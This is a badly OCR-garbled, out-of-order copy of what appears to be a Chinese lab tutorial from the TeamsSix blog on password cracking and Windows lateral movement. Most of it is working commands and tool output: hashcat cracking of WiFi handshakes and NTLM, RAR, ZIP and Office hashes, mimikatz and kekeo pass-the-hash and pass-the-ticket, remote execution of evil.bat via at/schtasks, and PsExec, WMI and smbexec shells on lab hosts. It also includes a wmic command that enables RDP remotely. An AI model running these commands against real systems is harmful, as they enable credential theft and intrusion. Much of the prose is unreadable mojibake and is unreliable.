33F RARS-hp

none

copy evil.bat \\192.168.7.107\c$

RAR3-hp A% kR SRARS$*0*, AR SRAR3S*1*, FEIRIHMIER 0 (-hp) mMAE 1 (-p) , —p HFKEE
x5, R -hp

FF RAR S —p 1 —hp HIXF1:

—p: RN RAR X122, MM EFAXERIENE;

—hp: WEFAPNXHERTT B REHETINELNE

ZIP [E48%543

F rar WS FE—HE, FIEEIAIREN zip XWHENIEHE, XERJLUER zip2john #173REX, zip2john.exe £ LE N
A9 rar2john.exe MEIKREF T,
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none

at \\192.168.7.107 14:30 C:\evil.bat

none

at \\192.168.7.107 1 /del

XE ZIP B8 A ERN AES256

office 2245

HMrar 5 zip WHEITRE—1F, BAIEEITIREN office HEMIEHRE, XERLUER office2john.py #1T3REX,
office?john.py £ @ F#EAY rar2john.exe 1 zip2john.exe IEHREF T,

none

# FFHLL system MPRH7T C:\evil.bat
schtasks /create /s 192.168.7.107 /tn evil /sc onstart /tr C:\evil.bat /ru system /f

# & 2021/08/03 FHivE—R19 14:30:00 77 C:\evil.bat
schtasks /create /s 192.168.7.107 /tn evil /tr C:\evil.bat /sc daily /st 14:30:00 /ed 2021/08/03

# Z2NSTERMAN evil BES
schtasks /run /s 192.168.7.107 /i /tn "evil"
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Wit R python THIEEER, MIXTEEERAZDIEFRIT

=

none

schtasks /delete /s 192.168.7.107 /tn "evil" /f

BIA%L N 2013 FRLMER 9600 IEL, tIRE 2010 MIBEB(FA 9500 RET, 2007 NM{EA 9400 i
IR,

WIFI 2255

EIFRE WIFI 295, BEEEE] WIFI i9IEF 6, BEER WIFI 9EFE, MEEARIFNRNIIFEISEERE T1% WIF,
BRMEEZEMNA, HEETUAFATTUEEZ WIFI BRES F L, —RREEMaBshERZ WIF, BERENIFIM
FEFET
MEY WIFI I2E |
1. BWRGF IR

none

Psexec.exe -accepteula \\192.168.7.107 -s cmd.exe

wlanO ZMKZM, —AzElE wlan0, MRNENFBRIREE ISR HITIEN, PIEY iwconfig HITEEW
Eoha 4 Fa
https://teamssix.com/211027-16364 1 .html
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NENE =L}

LER iwconfig BEM-ERZFREI A wlanOmon RBALEE £ B AT S IS T

2. 3P A WIF

CH 13 ][ Elapsed: 1 min ][ 2021-08-30 22:41
BSSID PWR Beacons #Data, #/s ENC CIPHER AUTH ESSID

00
BG
B@
B@
5E
BO
CC
BO
BG
B@
B@

()

<length: 0>

=
=

WPA2 PSK
OPN

WPA2 PSK

WPA2 PSK 'teamssix

WPA2 “PsK

WPA2 PSK

i ?Q TeamsSix
WPA2 PoR

WPA2 PSK

WPA2 PSK

0
0
0
0
0
0
0
1
0
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3. FREX wifi NIEFE

none

brew install hashcat

XE L ssid  teamssix 89 WIFI 945

none

apt install hashcat

A TIRASE WIFI f9IEFE, SI POz WIFI MaOIREseHIEE M X

none

tar zxvf hashcat-6.2.4.7zcd hashcat-6.2.4chmod +x hashcat.bin./hashcat.bin

CH 1 ][ Elapsed: 2 mins ][ 2021-08-30 22:53

BSSID PWR RXQ Beacons #Data, #/s CH MB

51 Fili NS5 900 16 1 360

https://teamssix.com/211027-163641.html

ENC CIPHER

WPA2 CCMP

AUTH ESSID

PSK teamssix
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B IAEE teamssix X1 WIFI B—MEEIEDERE, 1218500 MAC iR 38:26:2C:13:D3:33, {FAMNTar< PN
RESRHE T

none

-r (FRBEXHEEHN -0 IEEWEMINGN hash RTINS EBHGERUE-m  IBEEEEN hash £8, MEAETEE, WIAR
MD5-a IEEEFEAMERESR, EESEEENSH, “-a 07 FHKE, “-a 1”7 AE5KE; “-a 3” BIBKE-D  BFE opencl HISEER-
-show EREAWEL hash X% hash B AR --force RPN ESEE, e hash AJREHE NN L IHEIN--
remove MIFREAEIFERLINEY hash--username 7AW hash XHREOIEENAF, 2, TR linux RZEHB/2 hash sIgEEAEI--incr
ement BRIBERFEER, IR R BLERIE hashcat EEERNEEKECERNNTEATIZ--1increment-min AT NN
£, EEEESET— AN, BE increment &I —ic/FH--1ncrement-max PR EAKE, B E--outfile-format ETE
BERNE TSN id ,20AE 3--self-test-disable *HAEEEK

LREEMERS, HA EAEI WPA handshake AYBTR17%BASREN ALY

CH 1 ][ Elapsed: 54 s ][ 2021-08-30 22:59 ][ WPA handshake: 5E t F1

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

5E: Fill "t 373 42 0 ©“1 360 WPA2 CCMP_ PSK teamssix
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- n - - - e .

32, le24e ‘Al 516 EAPO?.TeamSS”(
[ |

&

4. HEAREANG
£/ aircrack-ng Y§1EF 4L hccapx 18T

none

0 | Straight (FE&Hf2) 1 | Combination (HEMR) 3 | Brute-force (IS 6 | Hybrid Wordl
ist + Mask (FEa+¥&R35AR) 7 | Hybrid Mask + Wordlist (H+=safkfz)

none

1 1 CPU2 | GPU3 | FPGA, DSP, Co-Processor

o & {EF hashcat B WIRMHNAER TEHTEINER: https://hashcat.net/cap2hashcat/

none

1 | abcdefghijklmnopgrstuvwxyz 45/N5Fu | ABCDEFGHIJKLMNOPQRSTUVWXYZ GREFHd | 01234
56789 5 h | 0123456789abcdef TRERVNEFENHFH | 0123456
789ABCDEF TNERIAEFEANETs | 1"H#I% O*+,-. /1 ;<=>7@[\]A_" {I}~ BT Ra | ?17u?d?s
BE AR INFRD | 0x00 - Oxff PLECERRS ==&

https://teamssix.com/211027-163641.html
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Host memory required for this attack: 602 MB
66c619582642e5b612bac28752bb1183:5ebfbbdc5711:38378b91b933: teamssix:11111112
: hashcat

: WPA-PBKDF2-PMKID+EAPOL
Hash.Target : 1.hc22000
Time.Started.....: Tue Aug 31 11:32:10 2021, (32 secs)
Time.Estimated...: Tue Aug 31 11:32:42 2021, (@ secs)
Guess.Mask. : 7d?d?d?d?d?d?d?d [8] .
Guess.Queue : 1/1 (100.00%)
Speed.#2 : 6921 H/s (6.50ms) @ Accel:64 Loops:16 Thr:8 Vec:1
Speed.#3 : 94832 H/s (6.57ms) @ Accel:8 Loops:256 Thr:64 Vec:1
101.8 kH/s
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Recovered

Progress
Rejected
Restore.Point

Restore.Sub.#2...:
Restore.Sub.#3...:

Candidates.#2
Candidates.#3

ELfh

Hashcat £ R #EIN1E=

DA ] 27 5] B0 & 4 | TeamsSix

: 1/1 (100.00%) Digests

: 3170304/100000000 (3.17%)
1 0/3170304 (0.00%)

: 12288/10000000 (0.12%)

Salt:0 Amplifier:7-8 Iteratmn% Tea mSS|X

Salt:0 Amplifier:0-1 Iteration:

: 82192712 —> 83044988
: 16826612 —> 15968612

27 All hashes found in potfile!, 1XZFBF1Z hash EL# LT T, A AERA

hashcat [IE%1E] —show && KA L KB IS,

QD%MEU\EE% EJQXEBZ%

TRYZARS, MIBR ~/.hashcat/hashcat.potfile S4B RIS NICFKENF,

E(ER GPU RzUETIER, fJBMER -O SHBEmET NN

ESERRB RIS AZ T, PIDASS(ER top FEBTIRAE, ATHRIUIE TFE, bR + A HNHEEFE

Hashcat S8t :

none

JUEFZRS: 7d?d?d?d?d?d?d?d/ (L RANZ2385: ?a?a?a?a?a?a?a?apilUf A KEFE, EEEWANT: 2u?u?u?u?d?d?d?dsilui oo =

2/NEFE, BOUANKREFHEENT: ?h?h?h?h?H?H?H?HEI = "F/AR%], #iEvadmin, [F={i%1: ?a?a?aadmin?a?a?a6-8(U 5%

79 --increment --increment-min 6 --increment-max 8 ?d?d?d?d?d?d?d?d6-8(U##F+ NEFHZIL: --increment --increment-m

in 6 --increment-max 8 ?h?h?h?h?h?h?h?h
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1. laREE

A&k (Pass The Hash, PTH) & B X, MENBEAEZEFANDNEMIEE, MAZRIHXEEERNS
Lo

BUEAEE, WhHEAFTERENEEERAERRIAX, T Windows Server 2012 R2 & Z [EIRAIIRIFAR TR, 2K
IASHERFRIREFIAXEN, Mimikatz BIEAZIZEBEY, R FEER TEREHEEBEIEM TSP
TTERWIE.

NTLM Hash

£ BHREN EFEB mimikatz $£EX NTLM Hash

none

--custom-charsetl [chars]Z&MNT -1--custom-charset2 [chars]ZM+ -2--custom-charset3 [chars]Z&NT -3--custom-chars
et4 [chars]&mMT -4

iz £ £ AEE AR I mimikatz

none

hashcat -a 3 --force d54d1702ad0f8326224b817c796763c9 ?d?d?d?d?d?d?d?d
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. BHHHH.
- - 3
:n 4 \\ 33
#ON / o

B v HH

 gHHEH

nimikatz #
rivilege

nimikatz #

DA ] 27 5] B0 & 4 | TeamsSix

amimikatz_ trunk\x64>mimikatz. exe

mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53

“A-La Vie, A L’ Amour” - (oe.eo0)

/*¥xx Ben jamin DELP\ “gentilkiwi ( benjamin@gentilkiwi.com )
> https://blog. gentilkiwi. com/mimikatz
Vincent LE T ( vincent. letoux@gmail. com )
> https://pingcastle.com / https://mysmartlogon. com *¥%/

privilege: :debug
207 OK

sekurlsa::pth /user:administrator /domain:teamssix.com /ntlm:161cff084477fe5 b81874498a24

: administrator

. teamssix. com

BN B85 C\WINDOWS\SYSTEM32\cmd.exe

: cmd: exe Microsoft Windows [fRA< 10.0.19042. 1165]
: no (c) Microsoft Corporation. {&%4PTHA BF,

TID

LSA P

LUID
\__ msvl |
\ l\Hl De

. de>
_ des

https://teamssix.com/211027-163641.html

161cff084477fe596a5dh81874498a2
8960 C:\WINDOWS\system32tdir
3308 Ixkzhes \\dc\c$ FHIEKAE
rocess is now R/W 51452 8231-1ACA
0 : 5897783 (00000000: 0))‘1931)

: \\dc\c$ HIH 3K

0 @ 00000208F78
ros — data copy @ 00C OO)OSF(\L 0

—xatll 2021/07/01 10:00 <DIR> inetpub
cbnfmdl DK 2 /09/0 11:32 <DIR> i

_cbc_md4 OK 2020, ( 202-10:37 <DIR>
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0K 2021/04/29 09:32  <DIR>
0K 2021/07/01 10:01 _<<DIR>
0K 0 483

,,,,, 32) 6 NHFE 77,507,919, 872 A H

mimikatz 1175, =EBHE—"TIHB XN Hash BFPAYSERY CMD &,

AES-256 %2%H

{$H mimikatz HMEVZR4H

none

hashcat -a 3 --force 4575621b0d88c303998e63fc74d165b0 -1 ?17d 71717171

FEMTETTENS, UEEAMNRITI mimikatz

none

hashcat -a 3 --force 8fb5a3e7338ce951971d69be27fc5210 -1 ?u?d ?1?7171?1 --increment --increment-min 1 --increment-
max 4

XEBEBHIMMER LD KB2871997 48T, #NT FEMbIE:  https://www.microsoft.com/en—
us/download/details.aspx?id=42722

RzAN T i fE, RiPIDUBIT AES256 REFHITIRAEE T .

BR T AES256 SMAH AEST28 &5, AU TIEREEER NTLM IBHHITEE,
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2, RiREE

EEZEB (Pass The Ticket, PTT) =& Kerberos IMERN—FIH AT, XEFEZF S EFEEIBIE mimikatz
kekeo MM T EEMEH,

mimikatz

£/ mimikatz ATBUERGFFHZIEHITSH.

none

hashcat -a 3 -1 123456abcdf!@+- 8b78ba5089b11326290bc15cf@b9ad7d 7171717171

MTZm<E, FEIREFR MRS TRSHEE, FU kirbi &
ERLA N a2 rILUBRRNF I RE
KEREXHEARNF

none

hashcat -a 3 -1 123456abcdf\!\@+- 8b78ba5089b11326290bc15cf@b9ad7d 7171717171

A HRIRm MEE mimikatz , 2RAERPI IR BIRER T,
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mimikatz # |kerberos: :pt
% File: ' [0;4l

mimikatz #|exit

Bye!

XENE \\dc\c$ I
LI5S /2 8231-1ACA

\\de\c$ HHF

10:0C
11:32
10:37
09:13
09: 3:
13:58

2021/07/01
2021/09/

5021/09/01

https://teamssix.com/211027-163641.html

4heae]-2-0-40e0000

DA ] 27 5] B0 & 4 | TeamsSix

\mimikatzitrunk\x64*dir

rlﬁ{T o

inetpub
ntdsutil
Program Files
Program Files
Users

Windows

0—-Administrator@kz

\\dc\c$

(x86)

btgt-TEAMSSIX. COM. kirbi

heae]-2-0-40e00000-Administrator@krbtgt—-TEAMSSIX. COM. kirbi’ : OK

?QTeamsSix
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EIREIES 7 B mimikatz 8] A kekeo

kekeo

kekeo FREMEH. AP &, NTLM HASH £ EE, AEBREESAN, NmEZniRitEil,

none

hashcat -a 3 19b9a36f@cab6d89cd4d3c21bZ2aalSbe --increment --increment-min 1 --increment-max 8 ?a?a?a?a?a?a?a?a

& kekeo 2021/7/24 2:59 NRRERF
| TGT_administrator@TEAMSSIX.COM _krbtgt~teamssix.com@TEAMSSIX.COM kirbi 2021/9/1 15:48 RIRBI 3214

@ kekeo 2.1 x64 (oe.eo)

Ly
kekeo 2.1 (x64) builtoon Jul 23 2021 20:56:45

“A La Vie, A L’ Amour”

/% % %

Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )
https://blog. gentilkiwi. com/kekeo (oe. eo)
with 10 modules * * */

kekeo #|tgt::ask /user:administrator /domain:teamssix.com /ntlm:161cff084477fe596a5db81874498a24

hedlm - teamssix.com (teamssix)
administrator (administrator)
administrator [KRB-NT PRINCIPAL (1)]
: + krbtgt/teamssix. com [KRB_NT_SRV_INST «(2) ]
d PAC : Yes

‘erh mode : FV("RYPTHT KEY 23 ‘('r‘("Jr hmac nt ): 161cff0 h—HTTT“? ¥ 4498a24 )
[kd( name : (1( cams (auto) ea I SSIX

1|
dc] d(th 68. 7. 7 (rluln)
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o

kekeo #

£ kekeo HIBBRIRIAFHRVEMENE, NARRERSHEEEEERN
£ Windows ap < TR AT RA BTN an < HITREFERNRIE SR
FERU NGB ERES ARG, Z/F exit BHE kekeo, /A dir s <l P IFIHILEX T,

none

hashcat -a 0 el1@adc3949ba59abbe56e057f20f883e password.txt

kekeo # kerberos::ptt “TGT administrator@TEAMSSIX.COM krbtgt teamssix. com@TEAMSSIX. COM. kirbi”

x File: ' TGT administrator@TEAMSSIX.COM krbtgt teamssix. com@TEAMSSIX. COM. kirbi’ : OK

kekeo # exit
Bye!

LRkTop\kekeo\X64?dir \\dc\c$
aEs \\dc\c§ I A IRz
HEHIFEF|5 2 8231-1ACA

\\dc\c$ BIHF
10:00 < > inetpub

11:32 < > ntdsutil
10:37 < > Program Files

9 09:13 ¢ Program Files (x86) ¢ H
2021/04/2909:32  <DIR> Users @ TeamsSix

https://teamssix.com/211027-163641.html

164/273



2021/10/27 F2F6:42 D05 1A 92 =T 2890 44 | TeamsSix
2021709/ DO < > '1ndows
0 FH

77,334, 790, 144 7] =3

=

==
1. ZIREXEEANAFHNZRIAE RSB 10 /NFY
2. £ B2 E AEBEARMEIE ANEM B A 1T IR E3

3. (EREEEEN, dr < ERENR, WREA IP HURIRRIEL0),

1. PsExec

PsExec.exe

PsExec fE ZBIBONZEIREIT—/X, S https://teamssix.com/210802-181052.ntml , SKEEEZFS—T,
PsExec & PSTools TEBEK—E8, E NN hitps://download.sysinternals.com/files/PSTools.zip

A PsExec AIAFEIZFRITEN L HITH S, EEANRIEZBIEEBERE BinEN LAIEE— psexec RS, HEAK
R A —T RN PSEXESVC B9 B, AE18IT psexec BRFZI1n1Ta<, 1174 REMIFRARSS.

17 ipc$ EE

none

hashcat -a @ hash.txt password.txt
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EBLEI ipch NIER T, PUTARas LI LIRS system TR

none
hashcat -a 1 77b3e6926e7295494dd3be91c6934899 pwdl.txt pwd2.txt
none

admintestroot

/user:administrator

ixec. exe —accepteula \

. 32— Execute processes remotely
) 2001-2021 Mark Russinovich
internals — www. sysinternals. com

ft Windows [Version 6.1.7601]
https://teamssix.com/211027-163641.html
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Copyright (c) 2009 Microsoft Corporation. All rights reserved

C:\Windows stem32>whoami
nt author

MRSBEIL ipcS HEr, r]AER(ER PsExec 18R R2EAHITIER

none

@2021123

FERITU N LERCZHSER

none

admin®2021adminl23test®2021test123root®2021root123

TE{EF PsExec WEETEMN N L.
EERIRALFE adming = (ZHAERFEH)
B PsExec EENFREEETF IPC H=, EWBEFEEFN 445 1%

EfEA IPCS EEEMmALE, ~HERAIKS L,

1A Pskxec ATz SR, SEBMARFBIE —T psexec BIRSS,
MR, BT RIETSMIRRSH S AENHEE, lJtt"*ME?ﬁﬂ?%HﬁﬂMﬁ

https://teamssix.com/211027-163641.html
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{EA PsExec AJIABE%IRTS System SPRAIZZE I, Shell B9RTIE BAnaE administrator £ FRAY shell
ISR 2L, FEEAB P T EFNBAGFFRINRIEER PsExec IhEE, REEMREKSHIBEHITEIS,
MSF

MSF Frt85 PsExec BUFIFBIRIR, (ER7EW -

none

hashcat -a 6 e120ea280aa50693d5568d0071456460 pwdl.txt 717171

2. WMI

WMI £FR Windows Management Instrumentation B Windows EI2T E, Windows 98 DAfSHIRIE R FESIF WMI,

T Windows ZBOIAREE WMl BOIRTEICREHGTE, RINIIEBREZ RS PsExec I\ T 2R E, AL WM
tt PsExec (@it EE i —Lb,

wmic &

WMIERIRZEA, FHERBMARSA cmd.exe AT <, KHRTERERFEBETREN C 2H ip.txt X4

fEF WMIC E#nfE24, BEBMRTENIT 135 A 445 w0 (135 w2 WMIC BRAREIRIRO,
wimcexec £/ 445 i#[{E[LIE)

none

https://teamssix.com/211027-16364 1 .html
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-a 3 -m 300 --force 6BB4837EB74329105EE4568DDA7DC67ED2CAZAD9 ?d?d?d?d?d?d

ZEE IPCS , {#/8 type EEMHITER

none

-a 3 -m 1800 --force '
xd@0OhPG/yrm2X."' 21717171

ProcessId = 1248;
ReturnValue = 0;:

C: \>type \\192.168. 7. 7\C$\ip. txt

Vindows IP-Configuration

Ethernet adapter t - 2%l:

Connecti

Link— - /6 Addre 7. L ﬁ;f ::bB8a7:400:226¢:6df2%11

Subnet Mask . . .
Default Gateway .

https://teamssix.com/211027-163641.html

> ¢\ip. txt”

%TeamsSix
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Tunnel adapter isatap. {93A2154F-89CE-4F33-8D4B-EBF1CDC71CBO} :
Media State . . . : Media disconnected

Connection—specific ' DNS Suffix

MR AFRSEEIT ipc Efx, BMER wmic

none

hashcat -a 3 -m 1800 --force 'qiyou:$6$QDq75ki3$jsKm7qTDHz/xBob@kF1Lp17@Cgg@i5Ts1f3IW/sm9k9Q916mBTyilU3PoOsbRdxV8
TAmzvdgNjrCuhfg3jKMY1' 7171717171 --username

wmiexec.py

7 impacket TEBIEHE wmiexec.py BIZAx, B A FEEEFKEL shell

none

hashcat -a 3 -m 1000 209C6174DA490CAEB422F3FASA7AEG34 7171717171

$

wmiexec.py administrator:1lqaz@WSX@192.168.7.7
Impacket v0.9.24.dev1+20210827.162957.5aa97fa7 — Copyright 2021 SecureAuth Corporation

[*] SMBv2.1 dialect used

[!] Launching semi-interactive shell - Careful what you execute

[!] Press help for extra shell commands
C:\>whoami

https://teamssix.com/211027-163641.html
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C:\>ipconfig

[-] Decoding error detected, consider running chcp.com at the target,

map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec

Windows IP Configuration

Ethernet adapter @&%a?69:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : Te80::b8a7:400:226c:6df2%11
IPv4 Address. M . . . « « . . « & 192.168 N7

Subnet Mask.©". . . . . = . = . . ! 255.45)%.255.0

Default Geteway . . . . . . A - . &= 192,168.7.1

"r [ ]
Tunnel adapter isatap.{93A2154F—89CE—4F33—8D4B—EBF1CDC71& TeamsSix

Media State . . . . . . . . . . . ! Media disconnected
Connection-specific DNS Suffix

wmiexec.py sz 35 iEid N

https://teamssix.com/211027-163641.html 1717273
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-a 3 -m 3000 FOD412BD764FFE81AAD3B435B51404EE 7171717171

wmiexec.vbs

wmiexec.vbs 4@ VBS 18 WMI A& PsExec AYINEE, wmiexec.vbs T EjHbLL:
https://github.com/k8gege/K8tools/blob/master/wmiexec.vibs

none

hashcat -a 3 -m 5500 teams.six::::822795daaf96s0a811fs6dd7b@1dscssco01635cc1339basdab:el25cddcf51337asc? -1 ?17u
?171717172d?d?d?d --force

, ) \wmi>cscript //nologo wmiexec.vbs /shell 192. 168. 7. 7-administrator lgaz@WSX
WMIEXEC : Target —> 192.168. 7.7
WMIEXEC : Connecting...
WMIEXEC : Login —> OK
WMIEXEC : Result File —> C:\wmi. dl1l
WMIEXEC : Share created SS.
WMIEXEC : Share Name -
WMIEXEC : Share Path - :
C:\Windows\system32>whoami
teamssix\administrator

C:\Windows\system32>ipconfig

Vindows TP Cenfiguration

{thernet adapter +

Connection—specific DNS Suffix
Link=local IPv6 Ac

IPv4 Address.

Subnet Mask .

Default Gateway .

1 - ol o C N / CAL B - i i 0
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Media State . . . : Media disconnected

Connection— \pe(lflt D\S Sutfl\

C:\Windows\system32’

1§ vmiexec.vbs M TR EHS

none

hashcat -a 3 -m 132 --force 0x01008c8006c224f71fobf0036f78d863c3c4ff53f8c3c48edafb 71717171717d?d?d

RAXR2MFERFIR Shell, EIEXNF T8 B EEREA®<S, Bl ping. systeminfo &, FEE L —wait 5000
B AYAT[E],

1517 nc FAEEM L AREBEE—FoTHHRERN, PJLUER —persist 28, Hom<I T -persist ltInfm, =2F=
EEEET, TaBE&RaY, MASRBX M GSHEN PD, HEERIHRE, XHEMILUETT nc iERADREF

AT BRJ vmiexec.vbs EREFEHE ., B TBERERIINEREZET,

Invoke-WmiCommand

Invoke-WmiCommand.ps1 2 PowerSploit TEEEM—#5, ZMAZFIM Powershell A WMI FOZZHITHS .
£ Powershell Fiz{T I Faps

none

https://teamssix.com/211027-163641.html
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hashcat -a 3 -m 400 --force '$P$BYEYCHEj3vDhV11wGBv6rpxurkKOEWY/" ?d?d?d?d?d?d

\PowerSploit\CodeExecution> Import-Module . \Invoke—WmiCommand. psl
ploit\CodeExecution
ploit\CodeExecution> ConvertTo—SecureString
ploit\CodeExecution New-0Ob ject System. Management. Automation. PSCredential
ploit\CodeExecution> Invoke-WmiCommand {ipconfig} 192. 168. 7
\PowerSploit\CodeExecution . PayloadOutput

Windows IP Configuration

Ethernet adapter Z<ih

Connection—specific DNS Suffix :

Link-local IPv6 Address . . . . . : IPBO :b8aT7:400:226¢:6df2%11
IPv4 Address 0 68. 7

Subnet )

Default Gatew

unnel adapter isatap. {93A2154F-89CE-4F33-8D4B-EBF1CDC71CBO0} : % TeamSSiX
Media St . . : Media disconnected

(onnecnon 5pec1f1c DN\ Suftl\
\PowerSploit\CodeExecution> .

Invoke-WMIMethod

Invoke-WMIMethod 2 PowerShell BHR)—TMEIR, Hr]UIABEREZTRITENNITHSIEERET .,

aatale
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ore

hashcat -a 3 -m 2611 --force 14elb60@blfd579f47433b88e8d85291: ?d?d?d?d?d?d

ConvertTo—SecureString
Jject System. Management. Automation. PSCredential
MIMethod Win32_Process Create

__GENUS 3 %

__CLASS : __ PARAMETERS
__SUPERCLASS :

_ DYNASTY . _ PARAMETERS
_ RELPATH :

__ PROPERTY_COUNT : ¢
__DERIVATION

__SERVER

. NAMESPACE

- PATH

ProcessId

ReturnValue

PSComputerName

um3dservice.exe 468 Console

umtoolsd.exe 1560 Console

suchost . exe 3744 Services
calc.exe 3276 Services
powershell.exe 3196 Console

conhost . exe 3192 Console

tasklist.exe 2584 Console

PS C:\Users\Administrator> ipconfig

Windows IP Configuration
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Ethernet adapter AHIIEE: Q Tea mSSiX

Connection-specific DNS Suffix

Link-local IPu6 Address . . . . . : fe80::b8aT7:400:226¢c:6df2%11
IPu4 Address. . . . . . . . . . . : 192.168.7.7

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.7.1

FIVERITE 192.168.7.7 N HBELBEHIE ID K 3276 #9 calc.exe AT T .

wmic FEMAS
£/ wmic izf2F 2 By RDP

none

# JKEX rar X4 hashrar2john.exe 1.rar

Fir RDP BB AR LMERN Fas<, MIRRE 0 RnfFE, RE 1 RRKH,

none

hashcat -a 3 -m 13000 --force '$rar5%$16$b06f5f2d4c973d6235e1a88b8d5dd594$15%a520dddcc53dd4e3930b8489b0131273$8%$73
3969e5bda903e4’ ?d?d?d?d?d?d

C:\>wmic /node:192.168.7.7 /user:administrator /password:lqaz@WSX process call create "cmd. exe /c REG AD
) "HKLM\S M\CurrentControlSet\Control\Terminal Server’ /v fDenyTSConnections /t REG DWORD /d 0 /f

KAT (Win3 2_Process)=>Create ()
7 EAT R -

e 8
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Processld =
ReturnValue

C:\Users\Administrator>REG QUERY "HKEY_LOCAL_MACHINEASYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections

HKEY_LOCAL_MACHINEASYSTEMACurrentControlSet\Control\Terminal Server
fDenyTSConnections REG_DYORD 0x1

C:\Users\Administrator>REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Serverefmeﬁms&slx

HKEY_LOCAL_MACHINEASYSTEM\CurrentControlSet\Control\Terminal Server
fDenyTSConnections REG_DWORD 0x0

FH wmic 1Zf2E B BT84

none

-a 3 -m 12500 --force ' $*0*5ba3dd697a8706fa*919ad1d7alc42bae4a8d462c8537c9cb"' ?d?d?d?d

1. SMBExec

FIF SMBExec AJLABEXHHZ (adming. c$. ipch. d) AERBERFDHITHS, BROLIEHTNEMT PsExec

C++ hR

C++ WRIMB L :  https://github.com/sunorr/smbexec

—EXTMINER 8 FRILEN T, a7 A VS2019 J8RiEMT), MABRISARTBEERXTMTET, A
MAET, BIEE impacket BMEZETH,

impacket hR
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£ impacket TEBIEEIE T smbexecpy TE, FHAEREBDREE,

none

# SREY zip Xt hashzip2john.exe 1.zip

$ smbexec.py teamssix.com/administrator:1qaz@wWSX@192.168.7.7
Impacket v0.9.24.dev1+20210827.162957.5aa97fa7 — Copyright 2021 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute,
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>ipconfig

[-] Decoding error detected, consider running chcp.com at the target,

map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with —-codec and the corresponding codec

Windows IP Configuration
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Connection-specific DNS Suffix

Link-local IPv6 Address . . . : fe80::b8a7:40@:22Q%]IeamSSix

IPv4 Address. . . . . : 192.168.7.7
Subnet Mask . . . . . . : 255.255.255.0
Default Gateway . - : 192.168.7.1

Linux I&¥E4 Windows iIZf2s SHT

smbexec TEB Nt https://github.com/bravOhax/smbexec
XE LD Kali 541

none

hashcat -a 3 -m 13600 '$zip2$*0*3*0*18bla7e7ad39cb3624e54622849b23c7 *5b99*3 *5dece7*a418ceela98710adce9a*$/zip2$"
--force ?d?d?d?d?d?d

TRNBERFIRIERS, BIEECBRIEEMT, NRZE Kali plitiE Debain, AEREFELZEER, BiELIFEZIA
Jopt BxBIA],

ZRTE, ARIRER N smbexec =T smbexec WEXE, o5l H:

none

# JREX office 1 hashpython office2john.py 1.docx
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EFEFE B 1 System Enumeration & DA %&IN:

none

hashcat -a 3 -m 9600 'S$office$*2013*100000 *256*16 *cd8856416b1e14305a0e8aa8ebabce5¢c*18cada7@70f1410f3a836¢c@dfc4b96
43*pefcde69afeafb3e652719533c824413b00ce4a499589e5ac5bd7a7a@d3c4f3d’ --force ?d?d?d?d?d?d

LIRS EE 2 System Exploitation B LR IEIR:

none

airmon-ng check airmon-ng check kill // *AFIWEITIASR R Rairmon-ng start wlan@

IR B 3 Obtain Hashes B LA FI%IN:

none

airodump-ng wlan@mon

1HIRIEE 4 Options B AT EIR:

none

airodump-ng -c¢ (L—4E#EM CH ) --bssid (JAZE WIFI 19 bssid ) -w GEFXHFMES) wlan@mon

SEHVHARZ 45 | IAD BN+
https://teamssix.com/211027-16364 1 .html 180/273



2021/10/27 F4-6:42 [ M 2E S 06 4 | TeamsSix

INHA B VN INZ) L I H U\

kKRR Rk Rk Rk Rk ok Rk Rk Rk Rk ok Rk Rekk Rk Rk kR sk kokokkkkekeiok ek ok ok SRRk >k

* smbexec 2.0 - Machiavellian *
skskskkskskskkskskksksksksksksksksksksk ok kskskkskskskskskskskskskskskokskskskskskskokskskskskskoksksksksksksksk sk sk sk sk sk skokskokk

System Enumeration Menu

Create a host list

Check systems for Domain Admin
Check systems for logged in users
Check systems for UAC

Enumerate Shares

File Finder

Remote login validation

Main menu

1
2
3
4
5.
6
7
8

Choice : 4

Check target(s) if UAC is enabled.

Target IP, host list, or nmap XML file [

Username [ ] : administrator

Password or hash (<LM>:<NTLM>) [ ] : 1gaz@WwsX -

Domain [ ] : teamssix.com

UAC Configuration Results
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[*] Module start time : Thu Sep 2 04:34:15 2021
[*] Module end time : Thu Sep 2 04:34:17 2021
[*] Elapsed time : 2 seconds

UAC found: 1 %TeamSSiX

Press enter to Return to Enumeration Menul

R BE MRS EHLZE

Fekskkokskkokskkokskkokskkokskkokskkokskkskskkokskkokskokokskokokskokokkekokkekokokok ki okokkokskkokskkokskkokokkok

* smhexec 2.0 - Machiavellian *
skokskokokokokskkokkskskkskokokskskok sk skokokskskskskskskokskskokskokskokskokskskskskskakskokskskkoskkokokok ok sk skokskokokok ok ok ok ok kok

System Enumeration Menu

1. Create a host list
Check systems for Domain Admin

3. Check systems for logged in users
Check systems for UAC
Enumerate Shares
File Finder

. Remote login validation
. Main menu
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This module will enumerate shares on the target host. ITf no credentials

Target IP, host list, or nmap XML file [
Username [ ]

Password or hash (<LM>:<NTLM>) [

Domain [ ]

Enumerating Shares as

Host Share
[+] 192.168.7.7 C$
[+] 192.168.7.7 IPC$
[+] 192.168.7.7 NETLOGON
[+] 192.168.7.7 SYSVOL
[+] 192.168.7.7 Users

[*] Module start time : Thu Sep 2 04:35:33 2021
[*] Module end time : Thu Sep 2 04:35:34 2021

[*] Elapsed time : 1 seconds

Shares found: 5

Press enter to Return to Enumeration Men

FREVA G A

https://teamssix.com/211027-163641.html

Type
Disk
IPC

Disk
Disk
Disk

1

Description
RIANE=Z

iz IPC

Logon server share

B\ 5] iR 23 £ Fy

D TeamsSix
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skkkkkkkokkkkkkkkkkkkk ok kkokkkk koo ks kkokkokok ok kok

* smbexec 2.0 - Machiavellian *
sorskskskskkskkskokkskokk kKR sk ks skskokkskskkskokskskskskskok sk skskakoksksk sk sk kR skakok sk okok sk sk sk sk stk sk ok ok ok koK

